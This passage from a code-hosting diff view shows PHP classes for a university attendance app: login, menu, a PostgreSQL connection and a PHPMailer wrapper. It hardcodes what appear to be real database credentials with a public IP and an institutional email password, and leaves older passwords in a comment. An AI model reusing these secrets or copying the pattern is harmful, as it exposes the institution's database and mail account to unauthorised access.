if ($db->where('profesor_clave', $profesorClave)->has("profesor")) {
|
||||||
|
$profesor = $db->where('profesor_clave', $profesorClave)->getOne("profesor");
|
||||||
|
return new Login(user: ['id' => $profesor["profesor_id"], 'nombre' => $profesor["profesor_nombre"], 'clave' => $profesor["profesor_clave"]]);
|
||||||
|
}
|
||||||
|
|
||||||
|
return ['error' => true, 'msg' => 'Usuario no encontrado'];
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static function log_out(): void
|
||||||
|
{
|
||||||
|
// session_start();
|
||||||
|
session_destroy();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function get_user(): ?Login
|
||||||
|
{
|
||||||
|
if (self::is_logged()) {
|
||||||
|
$user = unserialize($_SESSION["user"]);
|
||||||
|
return $user;
|
||||||
|
}
|
||||||
|
header("Location: /");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
public static function is_logged(): bool
|
||||||
|
{
|
||||||
|
return isset($_SESSION["user"]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function __toString(): string
|
||||||
|
{
|
||||||
|
return "Login Object:\n" .
|
||||||
|
"User: " . json_encode($this->user) . "\n" .
|
||||||
|
"Acceso: " . $this->acceso . "\n" .
|
||||||
|
"Profesor ID: " . ($this->profesor ?? "No definido") . "\n" .
|
||||||
|
"Es Jefe de Carrera: " . ($this->jefe_carrera ? "Sí" : "No") . "\n" .
|
||||||
|
"Periodo ID: " . $this->periodo_id . "\n" .
|
||||||
|
"Es Administrador: " . ($this->admin ? "Sí" : "No") . "\n" .
|
||||||
|
"Facultad: " . json_encode($this->facultad) . "\n" .
|
||||||
|
"Rol: " . json_encode($this->rol);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
15
class/c_menu.php
Normal file
15
class/c_menu.php
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
<?php
|
||||||
|
class Menu {
|
||||||
|
private array $menu = [];
|
||||||
|
|
||||||
|
public function __construct() {
|
||||||
|
$this->conn = new Connection();
|
||||||
|
}
|
||||||
|
|
||||||
|
public function getMenu() {
|
||||||
|
$sql = "SELECT * FROM menu";
|
||||||
|
$result = $this->conn->getConnection()->query($sql);
|
||||||
|
$this->menu = $result->fetchAll();
|
||||||
|
return $this->menu;
|
||||||
|
}
|
||||||
|
}
|
||||||
57
class/connection.php
Normal file
57
class/connection.php
Normal file
@@ -0,0 +1,57 @@
|
|||||||
|
<?php
|
||||||
|
define("DB_HOST",($_SERVER["SERVER_NAME"] == "localhost") ? "200.13.89.27" : "localhost");
|
||||||
|
define('DB_USER', 'checa_usr');
|
||||||
|
define('DB_PASS', 'Cr0n0m3tr4d0&$');
|
||||||
|
define('DB_NAME', 'checador');
|
||||||
|
|
||||||
|
class Connection {
|
||||||
|
private $conn;
|
||||||
|
public function __construct() {
|
||||||
|
$this->conn = new PDO(
|
||||||
|
"pgsql:host=".DB_HOST.";dbname=".DB_NAME, DB_USER, DB_PASS,
|
||||||
|
array(PDO::ATTR_PERSISTENT => true)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
public function getConnection() {
|
||||||
|
return $this->conn;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function query() {}
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$pdo = new PDO(
|
||||||
|
"pgsql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS,
|
||||||
|
array(
|
||||||
|
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
|
||||||
|
PDO::ATTR_PERSISTENT => true
|
||||||
|
)
|
||||||
|
);
|
||||||
|
} catch (PDOException $e) {
|
||||||
|
print "Error!: " . $e->getMessage() . "<br/>";
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
|
||||||
|
function SQL(string $sql, array $params = [])
|
||||||
|
{
|
||||||
|
global $pdo;
|
||||||
|
$stmt = $pdo->prepare($sql);
|
||||||
|
foreach ($params as $key => $value) {
|
||||||
|
// bind Parameter
|
||||||
|
$stmt->bindParam($key, $value);
|
||||||
|
}
|
||||||
|
$stmt->execute($params);
|
||||||
|
return $stmt->fetchAll();
|
||||||
|
}
|
||||||
|
|
||||||
|
function filter_by(array $array, array $fields): array
|
||||||
|
{
|
||||||
|
$result = [];
|
||||||
|
foreach ($array as $key => $value) {
|
||||||
|
$result[$key] = [];
|
||||||
|
foreach ($fields as $field) {
|
||||||
|
$result[$key][$field] = $value[$field];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $result;
|
||||||
|
}
|
||||||
119
class/database.php
Normal file
119
class/database.php
Normal file
@@ -0,0 +1,119 @@
|
|||||||
|
<?php
|
||||||
|
header('Content-Type: application/json charset=utf-8');
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/class/c_abstract_data.php";
|
||||||
|
|
||||||
|
final class Periodo_v1 extends WebServiceSGU
|
||||||
|
{
|
||||||
|
public function __construct()
|
||||||
|
{
|
||||||
|
parent::__construct("/catalogos/periodos/v1/seleccionar");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
final class Periodo_v2 extends WebServiceSGU
|
||||||
|
{
|
||||||
|
public function __construct()
|
||||||
|
{
|
||||||
|
parent::__construct("/catalogos/periodos/v2/seleccionar");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
final class Periodos extends WebServiceSGU
|
||||||
|
{
|
||||||
|
// use DatabaseModel;
|
||||||
|
private readonly Periodo_v1 $periodo_v1;
|
||||||
|
private readonly Periodo_v2 $periodo_v2;
|
||||||
|
|
||||||
|
|
||||||
|
public function __construct()
|
||||||
|
{
|
||||||
|
parent::__construct("/catalogos/periodos/seleccionar");
|
||||||
|
$this->periodo_v1 = new Periodo_v1();
|
||||||
|
$this->periodo_v2 = new Periodo_v2();
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_v1(): array
|
||||||
|
{
|
||||||
|
return $this->periodo_v1->get();
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_v2(): array
|
||||||
|
{
|
||||||
|
return $this->periodo_v2->get();
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_merged(): array
|
||||||
|
{
|
||||||
|
$v2Data = $this->get_v2();
|
||||||
|
|
||||||
|
// Create an associative array with IdPeriodo as the key for faster lookup
|
||||||
|
$v2Lookup = array_column($v2Data, null, 'IdPeriodo');
|
||||||
|
|
||||||
|
return array_map(function ($itemV1) use ($v2Lookup) {
|
||||||
|
if (isset($v2Lookup[$itemV1['IdPeriodo']])) {
|
||||||
|
$itemV2 = $v2Lookup[$itemV1['IdPeriodo']];
|
||||||
|
$mergedItem = array_merge($itemV1, $itemV2);
|
||||||
|
unset($mergedItem['NombreCarrera']); // Remove NombreCarrera as specified
|
||||||
|
return $mergedItem;
|
||||||
|
}
|
||||||
|
return $itemV1; // If no matching IdPeriodo found in v2, return the original v1 item
|
||||||
|
}, $this->get_v1());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
final class Espacios extends WebServiceSGU
|
||||||
|
{
|
||||||
|
public function __construct()
|
||||||
|
{
|
||||||
|
parent::__construct("/catalogos/espacios/seleccionar");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
final class Carreras extends WebServiceSGU
|
||||||
|
{
|
||||||
|
public function __construct()
|
||||||
|
{
|
||||||
|
parent::__construct("/catalogos/carreras/seleccionar");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
final class Horarios extends WebServiceSGU
|
||||||
|
{
|
||||||
|
public function __construct()
|
||||||
|
{
|
||||||
|
parent::__construct(
|
||||||
|
"/seleccionar",
|
||||||
|
<<<JSON
|
||||||
|
{
|
||||||
|
"\$schema": "http://json-schema.org/draft-07/schema#",
|
||||||
|
"type": "object",
|
||||||
|
"required": ["idPeriodo"],
|
||||||
|
"properties": {
|
||||||
|
"idPeriodo": {
|
||||||
|
"type": "integer",
|
||||||
|
"description": "Identificador del periodo a consultar."
|
||||||
|
},
|
||||||
|
"claveFacultad": {
|
||||||
|
"type": "string",
|
||||||
|
"description": "Clave de la facultad a consultar.",
|
||||||
|
"pattern": "^[a-zA-Z0-9]*$"
|
||||||
|
},
|
||||||
|
"claveCarrera": {
|
||||||
|
"type": "string",
|
||||||
|
"description": "Clave de la carrera a consultar.",
|
||||||
|
"pattern": "^[a-zA-Z0-9]*$"
|
||||||
|
},
|
||||||
|
"claveProfesor": {
|
||||||
|
"type": "string",
|
||||||
|
"description": "Clave del empleado a consultar.",
|
||||||
|
"pattern": "^[a-zA-Z0-9]*$"
|
||||||
|
},
|
||||||
|
"fecha": {
|
||||||
|
"type": "string",
|
||||||
|
"description": "Fecha de la clase.",
|
||||||
|
"pattern": "^\\d{4}-\\d{2}-\\d{2}$"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
JSON
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
98
class/mailer.php
Normal file
98
class/mailer.php
Normal file
@@ -0,0 +1,98 @@
|
|||||||
|
<?php
|
||||||
|
//https://github.com/PHPMailer/PHPMailer
|
||||||
|
//require_once('../include/phpmailer/PHPMailerAutoload.php');
|
||||||
|
|
||||||
|
class Mailer{
|
||||||
|
private const FROM = "academia@lasalle.mx";
|
||||||
|
private const FROM_NAME = "Vicerrectoría Académica";
|
||||||
|
private const FROM_PASS = "D1s3c4nt3S1l1c4#$";//4c4d3m14S3gur4## Foy25193 D1s3c4nt3S1l1c4#$
|
||||||
|
private const FOOTER = "<p style='margin-top:5em; color:#aaa;font-style:italics'><small>Este es un correo automatizado, esta cuenta no recibe correos.<small></p>";
|
||||||
|
//private $lista_to, $asunto, $texto;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Función estática para mandar correos. Los destinatarios pueden ser arreglo o cadena separada por ; incluir: include/phpmailer/PHPMailerAutoload.php
|
||||||
|
*
|
||||||
|
* @param array|string $lista_to El destinatario o lista de destinatarios. Puede ser un arreglo de direcciones de correo electrónico o una cadena de texto con direcciones de correo separadas por ;.
|
||||||
|
* @param string $asunto El asunto del correo.
|
||||||
|
* @param string $texto El cuerpo del mensaje del correo en HTML.
|
||||||
|
* @param bool $bcc Indica si se debe enviar el correo como copia oculta (true) o no (false). Valor por defecto: false.
|
||||||
|
*
|
||||||
|
* @return bool True si el correo se envió exitosamente, false en caso contrario.
|
||||||
|
*/
|
||||||
|
public static function enviarCorreo($lista_to, $asunto, $texto, $bcc = false){
|
||||||
|
try{
|
||||||
|
//SMTP Settings
|
||||||
|
$mail = new PHPMailer();
|
||||||
|
$mail->CharSet = 'UTF-8';
|
||||||
|
$mail->SMTPDebug = 0;
|
||||||
|
$mail->isSMTP();
|
||||||
|
$mail->SMTPAuth = true;
|
||||||
|
$mail->SMTPSecure = 'TLS';
|
||||||
|
$mail->Host = "smtp.office365.com";
|
||||||
|
$mail->Port = 587;
|
||||||
|
$mail->Username = self::FROM;
|
||||||
|
$mail->Password = self::FROM_PASS;
|
||||||
|
|
||||||
|
$mail->SetFrom(self::FROM, self::FROM_NAME); //from (verified email address)
|
||||||
|
$mail->Subject = $asunto; //subject
|
||||||
|
|
||||||
|
$mail->IsHTML(true);
|
||||||
|
$mail->MsgHTML($texto.self::FOOTER);//adjunta footer
|
||||||
|
//recipient
|
||||||
|
if(is_array($lista_to)){
|
||||||
|
foreach($lista_to as $correo){
|
||||||
|
if(trim($correo)!="")
|
||||||
|
if($bcc)
|
||||||
|
$mail->addBCC($correo);
|
||||||
|
else
|
||||||
|
$mail->AddAddress($correo);
|
||||||
|
}
|
||||||
|
}else{//cadena de texto separada por ;
|
||||||
|
if(strpos($lista_to, ";")!==false){
|
||||||
|
$toArr = explode(";", $lista_to);
|
||||||
|
foreach($toArr as $correo){
|
||||||
|
if(trim($correo)!=""){
|
||||||
|
if($bcc)
|
||||||
|
$mail->addBCC($correo);
|
||||||
|
else
|
||||||
|
$mail->AddAddress($correo);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}elseif(strpos($lista_to, ",")!==false){
|
||||||
|
$toArr = explode(",", $lista_to);
|
||||||
|
foreach($toArr as $correo){
|
||||||
|
if(trim($correo)!=""){
|
||||||
|
if($bcc)
|
||||||
|
$mail->addBCC($correo);
|
||||||
|
else
|
||||||
|
$mail->AddAddress($correo);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}else{
|
||||||
|
if(trim($lista_to)!=""){
|
||||||
|
if($bcc)
|
||||||
|
$mail->addBCC($lista_to);
|
||||||
|
else
|
||||||
|
$mail->AddAddress($lista_to);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
//Success
|
||||||
|
if ($mail->Send()) {
|
||||||
|
return true;
|
||||||
|
}else{
|
||||||
|
echo "Error al enviar correo";
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}catch(phpmailerException $e){
|
||||||
|
echo $mail->ErrorInfo;
|
||||||
|
return false;
|
||||||
|
}catch(Exception $e2){
|
||||||
|
echo $mail->ErrorInfo;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user